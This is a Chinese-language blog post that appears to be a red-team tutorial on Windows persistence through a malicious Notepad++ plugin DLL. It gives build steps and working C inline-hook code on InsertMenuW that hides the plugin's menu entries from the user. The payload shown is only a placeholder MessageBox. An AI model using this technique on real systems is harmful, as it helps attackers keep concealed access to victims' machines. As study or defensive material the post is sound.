Notepad++插件权限维持C版

0.简介

看到个玄武实验室推送文章,讲的是利用Notepad++的插件做权限维持的——《Persistence – Notepad++ Plugins》。原理上比较简单,Notepad++在启动的时候会加载plugins目录(例如:C:\Program Files\Notepad++\plugins)中保存的插件,其实就是一个一个目录里面放着dll文件。原文给了一个C#版本的DEMO,不太会。简单看了一下c的实现方式,记录于此。

1.详情

找了一下,github有现成的模板。将模板clone下来。

git clone https://github.com/npp-plugins/plugintemplate.git

项目提供了visual studio的项目文件vs.proj/NppPluginTemplate.vcxproj,直接双击打开,重定向项目的窗口记得选择确定。

然后就可以开始愉快的写代码了。模板中提示较为完善,根据提示首先打开PluginDefinition.h,可以自定义插件的名称和功能数量。

这里名字随便起,不重要。由于我们没什么真正需要实现的功能,这里可以不改,模板默认带两个测试功能(不能为0),随便填一个功能。然后打开PluginDefinition.cppcommandMenuInit函数中是用来设置功能和菜单栏中对应按钮的,模板中默认就带了两个测试功能也可以不改。真正需要实现的持久化功能可以填写在pluginInit方法中,notepad++打开会自动加载这些dll,然后调用pluginInit等函数。例如这里添加一个MessageBox。

void pluginInit(HANDLE /*hModule*/)
{
    MessageBox(NULL, TEXT("test"), TEXT("test"), NULL);
}

编译后生成NppPluginTemplate.dll文件。在notepad++的plugins目录下新建一个目录用来放这个dll,假如给这个目录起名为SecTest,则将NppPluginTemplate.dll文件拖到SecTest目录下并重命名为SecTest.dll即可(名字要一致,否则不加载),重启notepad++即可生效。

但是这种方式有个比较难受的点在于,加载的插件会在插件菜单里添加列表,稍微有点明显容易被发现。

2.插件Menu隐藏

找了一下没有发现怎么样可以让他不注册这个菜单栏就有点难受(可能我看的不仔细)。测试了如果把nbFunc改成0,或者把字符串改成空的都没办法比较好的在这里隐藏,并且还有可能产生报错弹窗,还可能导致插件被移除。

拖ida简单看了一下这里是调用了insertMenuW方法来插入这个菜单,那就非常简单了,只需要把insertMenuW函数做个inlinehook,对于这几个menu不让他注册即可。在PluginDefinition.cpp中添加hook相关代码:

//Hook代码
void Hook();
void UnHook();
BYTE Ori_Code[12] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };
BYTE HookCode[12] = { 0x48, 0xB8, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0xFF, 0xE0 };
static BOOL (WINAPI* OldInsertMenuW)(HMENU hMenu,UINT uPosition,UINT uFlags,UINT_PTR uIDNewItem,LPCWSTR lpNewItem) = InsertMenuW;
BOOL WINAPI MyInsertMenuW(HMENU hMenu, UINT uPosition, UINT uFlags, UINT_PTR uIDNewItem, LPCWSTR lpNewItem) {
    UnHook();                                                                  // 恢复Hook
    BOOL ret;
    if ( lstrcmp(lpNewItem, TEXT("Hello Notepad++"))!= 0  && lstrcmp(lpNewItem, TEXT("Hello (with dialog)")) != 0 && lstrcmp(lpNewItem, TEXT("Notepad++ plugin template")) != 0)  {
        ret = OldInsertMenuW(hMenu, uPosition, uFlags, uIDNewItem, lpNewItem);// 调用原函数,防止报错影响正常功能
    }
    else {
        ret = true;
    }
    Hook(); // 继续hook
    return ret;
}
void Hook()
{
    DWORD OldProtect;
    if (VirtualProtect(OldInsertMenuW, 12, PAGE_EXECUTE_READWRITE, &OldProtect))
    {
        memcpy(Ori_Code, OldInsertMenuW, 12);               // 拷贝原始机器码指令
        *(PINT64)(HookCode + 2) = (INT64)&MyInsertMenuW;    // 填充90为指定跳转地址
    }
    memcpy(OldInsertMenuW, &HookCode, sizeof(HookCode));    // 拷贝Hook机器指令
}

void UnHook()
{
    memcpy(OldInsertMenuW, &Ori_Code, sizeof(Ori_Code));    // 恢复hook原始代码
}

然后在pluginInit函数中,先干坏事然后调用一下hook方法不让它注册menu即可,例如:

    void pluginInit(HANDLE /*hModule*/)
    {
        MessageBox(NULL, TEXT("Big Bad DaShanzha!"), TEXT("Big Bad DaShanzha!"), NULL);
        Hook();
    }

此时再看菜单里就没有相关的内容了,但是比较难受的是插件管理里面还是会有显示,不过相对来说没之前那么容易被发现。

参考

  • 原文(https://pentestlab.blog/2022/02/14/persistence-notepad-plugins/)
  • hook代码从这里抄的(https://www.cnblogs.com/LyShark/p/13653394.html)